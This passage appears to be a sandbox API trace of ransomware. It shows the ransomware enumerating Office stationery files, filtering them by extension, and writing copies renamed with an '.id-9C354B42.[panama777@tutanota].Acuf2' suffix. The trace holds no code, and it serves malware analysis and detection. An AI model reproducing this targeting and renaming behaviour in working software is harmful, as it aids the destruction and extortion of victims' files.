	[0047.994] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0047.994] lstrlenW (lpString=".rar") returned 4
	[0047.994] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0047.994] lstrlenW (lpString=".bz2") returned 4
	[0047.994] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0047.994] lstrlenW (lpString=".7z") returned 3
	[0047.994] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0047.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0047.994] lstrlenW (lpString=".dbf") returned 4
	[0047.994] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0047.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0047.994] lstrlenW (lpString=".1cd") returned 4
	[0047.994] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0047.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0047.994] lstrlenW (lpString=".jpg") returned 4
	[0047.995] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0047.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0047.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0047.995] lstrlenW (lpString=".doc") returned 4
	[0047.995] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0047.995] lstrlenW (lpString=".docx") returned 5
	[0047.995] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1
	[0047.995] lstrlenW (lpString=".pdf") returned 4
	[0047.995] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0047.995] lstrlenW (lpString=".xls") returned 4
	[0047.995] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0047.995] lstrlenW (lpString=".xlsx") returned 5
	[0047.995] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1
	[0047.995] lstrlenW (lpString=".ppt") returned 4
	[0047.995] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0047.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0047.995] lstrlenW (lpString=".zip") returned 4
	[0047.995] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0047.995] lstrlenW (lpString=".rar") returned 4
	[0047.995] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0047.995] lstrlenW (lpString=".bz2") returned 4
	[0047.995] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0047.995] lstrlenW (lpString=".7z") returned 3
	[0047.995] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0047.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0047.995] lstrlenW (lpString=".dbf") returned 4
	[0047.995] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0047.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0047.995] lstrlenW (lpString=".1cd") returned 4
	[0047.995] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0047.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0047.996] lstrlenW (lpString=".jpg") returned 4
	[0047.996] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0047.996] lstrcmpiW (lpString1=".gif", lpString2=".Acuf2") returned 1
	[0047.996] lstrlenW (lpString="Stucco.gif") returned 10
	[0047.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0047.996] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=1864) returned 1
	[0047.996] CloseHandle (hObject=0x160) returned 1
	[0047.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif")) returned 0x20
	[0047.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0047.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68
	[0047.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68
	[0047.996] lstrlenW (lpString=".doc") returned 4
	[0047.996] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.997] lstrlenW (lpString=".docx") returned 5
	[0047.997] lstrcmpiW (lpString1=".docx", lpString2="o.gif") returned -1
	[0047.997] lstrlenW (lpString=".pdf") returned 4
	[0047.997] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.997] lstrlenW (lpString=".xls") returned 4
	[0047.997] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.997] lstrlenW (lpString=".xlsx") returned 5
	[0047.997] lstrcmpiW (lpString1=".xlsx", lpString2="o.gif") returned -1
	[0047.997] lstrlenW (lpString=".ppt") returned 4
	[0047.997] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68
	[0047.997] lstrlenW (lpString=".zip") returned 4
	[0047.997] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.997] lstrlenW (lpString=".rar") returned 4
	[0047.997] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.997] lstrlenW (lpString=".bz2") returned 4
	[0047.997] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.997] lstrlenW (lpString=".7z") returned 3
	[0047.997] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68
	[0047.997] lstrlenW (lpString=".dbf") returned 4
	[0047.997] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68
	[0047.997] lstrlenW (lpString=".1cd") returned 4
	[0047.997] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68
	[0047.997] lstrlenW (lpString=".jpg") returned 4
	[0047.997] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68
	[0047.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68
	[0047.998] lstrlenW (lpString=".doc") returned 4
	[0047.998] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.998] lstrlenW (lpString=".docx") returned 5
	[0047.998] lstrcmpiW (lpString1=".docx", lpString2="o.gif") returned -1
	[0047.998] lstrlenW (lpString=".pdf") returned 4
	[0047.998] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.998] lstrlenW (lpString=".xls") returned 4
	[0047.998] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.998] lstrlenW (lpString=".xlsx") returned 5
	[0047.998] lstrcmpiW (lpString1=".xlsx", lpString2="o.gif") returned -1
	[0047.998] lstrlenW (lpString=".ppt") returned 4
	[0047.998] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68
	[0047.998] lstrlenW (lpString=".zip") returned 4
	[0047.998] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.998] lstrlenW (lpString=".rar") returned 4
	[0047.998] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.998] lstrlenW (lpString=".bz2") returned 4
	[0047.998] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.998] lstrlenW (lpString=".7z") returned 3
	[0047.998] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68
	[0047.998] lstrlenW (lpString=".dbf") returned 4
	[0047.998] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68
	[0047.998] lstrlenW (lpString=".1cd") returned 4
	[0047.998] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68
	[0047.998] lstrlenW (lpString=".jpg") returned 4
	[0047.998] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.999] lstrcmpiW (lpString1=".jpg", lpString2=".Acuf2") returned 1
	[0047.999] lstrlenW (lpString="Tanspecks.jpg") returned 13
	[0047.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0047.999] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=3650) returned 1
	[0047.999] CloseHandle (hObject=0x160) returned 1
	[0048.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg")) returned 0x20
	[0048.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0048.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71
	[0048.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71
	[0048.000] lstrlenW (lpString=".doc") returned 4
	[0048.000] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0048.000] lstrlenW (lpString=".docx") returned 5
	[0048.000] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0048.001] lstrlenW (lpString=".pdf") returned 4
	[0048.001] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0048.001] lstrlenW (lpString=".xls") returned 4
	[0048.001] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0048.001] lstrlenW (lpString=".xlsx") returned 5
	[0048.001] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0048.001] lstrlenW (lpString=".ppt") returned 4
	[0048.001] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0048.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71
	[0048.001] lstrlenW (lpString=".zip") returned 4
	[0048.001] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0048.001] lstrlenW (lpString=".rar") returned 4
	[0048.001] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0048.001] lstrlenW (lpString=".bz2") returned 4
	[0048.001] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0048.001] lstrlenW (lpString=".7z") returned 3
	[0048.001] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0048.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71
	[0048.001] lstrlenW (lpString=".dbf") returned 4
	[0048.001] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0048.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71
	[0048.001] lstrlenW (lpString=".1cd") returned 4
	[0048.001] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0048.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71
	[0048.001] lstrlenW (lpString=".jpg") returned 4
	[0048.001] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0048.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71
	[0048.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71
	[0048.001] lstrlenW (lpString=".doc") returned 4
	[0048.001] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0048.002] lstrlenW (lpString=".docx") returned 5
	[0048.002] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0048.002] lstrlenW (lpString=".pdf") returned 4
	[0048.002] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0048.002] lstrlenW (lpString=".xls") returned 4
	[0048.002] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0048.002] lstrlenW (lpString=".xlsx") returned 5
	[0048.002] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0048.002] lstrlenW (lpString=".ppt") returned 4
	[0048.002] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0048.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71
	[0048.002] lstrlenW (lpString=".zip") returned 4
	[0048.002] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0048.002] lstrlenW (lpString=".rar") returned 4
	[0048.002] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0048.002] lstrlenW (lpString=".bz2") returned 4
	[0048.002] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0048.002] lstrlenW (lpString=".7z") returned 3
	[0048.002] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0048.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71
	[0048.002] lstrlenW (lpString=".dbf") returned 4
	[0048.002] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0048.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71
	[0048.002] lstrlenW (lpString=".1cd") returned 4
	[0048.002] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0048.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71
	[0048.002] lstrlenW (lpString=".jpg") returned 4
	[0048.002] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0048.003] lstrcmpiW (lpString1=".gif", lpString2=".Acuf2") returned 1
	[0048.003] lstrlenW (lpString="Tiki.gif") returned 8
	[0048.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0048.003] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=4638) returned 1
	[0048.003] CloseHandle (hObject=0x160) returned 1
	[0048.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif")) returned 0x20
	[0048.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0048.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66
	[0048.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66
	[0048.003] lstrlenW (lpString=".doc") returned 4
	[0048.003] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0048.003] lstrlenW (lpString=".docx") returned 5
	[0048.003] lstrcmpiW (lpString1=".docx", lpString2="i.gif") returned -1
	[0048.003] lstrlenW (lpString=".pdf") returned 4
	[0048.003] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0048.003] lstrlenW (lpString=".xls") returned 4
	[0048.003] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0048.004] lstrlenW (lpString=".xlsx") returned 5
	[0048.004] lstrcmpiW (lpString1=".xlsx", lpString2="i.gif") returned -1
	[0048.004] lstrlenW (lpString=".ppt") returned 4
	[0048.004] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0048.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66
	[0048.004] lstrlenW (lpString=".zip") returned 4
	[0048.004] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0048.004] lstrlenW (lpString=".rar") returned 4
	[0048.004] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0048.004] lstrlenW (lpString=".bz2") returned 4
	[0048.004] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0048.004] lstrlenW (lpString=".7z") returned 3
	[0048.004] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0048.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66
	[0048.004] lstrlenW (lpString=".dbf") returned 4
	[0048.004] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0048.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66
	[0048.004] lstrlenW (lpString=".1cd") returned 4
	[0048.004] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0048.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66
	[0048.004] lstrlenW (lpString=".jpg") returned 4
	[0048.004] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0048.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66
	[0048.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66
	[0048.004] lstrlenW (lpString=".doc") returned 4
	[0048.004] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0048.004] lstrlenW (lpString=".docx") returned 5
	[0048.005] lstrcmpiW (lpString1=".docx", lpString2="i.gif") returned -1
	[0048.005] lstrlenW (lpString=".pdf") returned 4
	[0048.005] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0048.005] lstrlenW (lpString=".xls") returned 4
	[0048.005] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0048.005] lstrlenW (lpString=".xlsx") returned 5
	[0048.005] lstrcmpiW (lpString1=".xlsx", lpString2="i.gif") returned -1
	[0048.005] lstrlenW (lpString=".ppt") returned 4
	[0048.005] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0048.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66
	[0048.005] lstrlenW (lpString=".zip") returned 4
	[0048.005] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0048.005] lstrlenW (lpString=".rar") returned 4
	[0048.005] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0048.005] lstrlenW (lpString=".bz2") returned 4
	[0048.005] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0048.005] lstrlenW (lpString=".7z") returned 3
	[0048.005] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0048.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66
	[0048.005] lstrlenW (lpString=".dbf") returned 4
	[0048.005] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0048.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66
	[0048.005] lstrlenW (lpString=".1cd") returned 4
	[0048.005] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0048.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66
	[0048.005] lstrlenW (lpString=".jpg") returned 4
	[0048.005] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0048.006] lstrcmpiW (lpString1=".emf", lpString2=".Acuf2") returned 1
	[0048.006] lstrlenW (lpString="To_Do_List.emf") returned 14
	[0048.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0048.006] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=26720) returned 1
	[0048.006] CloseHandle (hObject=0x160) returned 1
	[0048.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf")) returned 0x20
	[0048.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0048.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned 72
	[0048.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned 72
	[0048.006] lstrlenW (lpString=".doc") returned 4
	[0048.006] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1
	[0048.006] lstrlenW (lpString=".docx") returned 5
	[0048.006] lstrcmpiW (lpString1=".docx", lpString2="t.emf") returned -1
	[0048.006] lstrlenW (lpString=".pdf") returned 4
	[0048.006] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1
	[0048.006] lstrlenW (lpString=".xls") returned 4
	[0048.007] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1
	[0048.007] lstrlenW (lpString=".xlsx") returned 5
	[0048.007] lstrcmpiW (lpString1=".xlsx", lpString2="t.emf") returned -1
	[0048.007] lstrlenW (lpString=".ppt") returned 4
	[0048.007] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1
	[0048.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned 72
	[0048.007] lstrlenW (lpString=".zip") returned 4
	[0048.007] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1
	[0048.007] lstrlenW (lpString=".rar") returned 4
	[0048.007] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1
	[0048.007] lstrlenW (lpString=".bz2") returned 4
	[0048.007] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1
	[0048.007] lstrlenW (lpString=".7z") returned 3
	[0048.007] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1
	[0048.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned 72
	[0048.007] lstrlenW (lpString=".dbf") returned 4
	[0048.007] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1
	[0048.010] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.010] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0048.012] GetLastError () returned 0x0
	[0048.012] ReadFile (in: hFile=0x160, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x621, lpOverlapped=0x0) returned 1
	[0048.013] WriteFile (in: hFile=0x1e8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x630, lpOverlapped=0x0) returned 1
	[0048.014] ReadFile (in: hFile=0x160, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0048.014] WriteFile (in: hFile=0x1e8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xea, lpOverlapped=0x0) returned 1
	[0048.014] SetEndOfFile (hFile=0x1e8) returned 1
	[0048.014] CloseHandle (hObject=0x1e8) returned 1
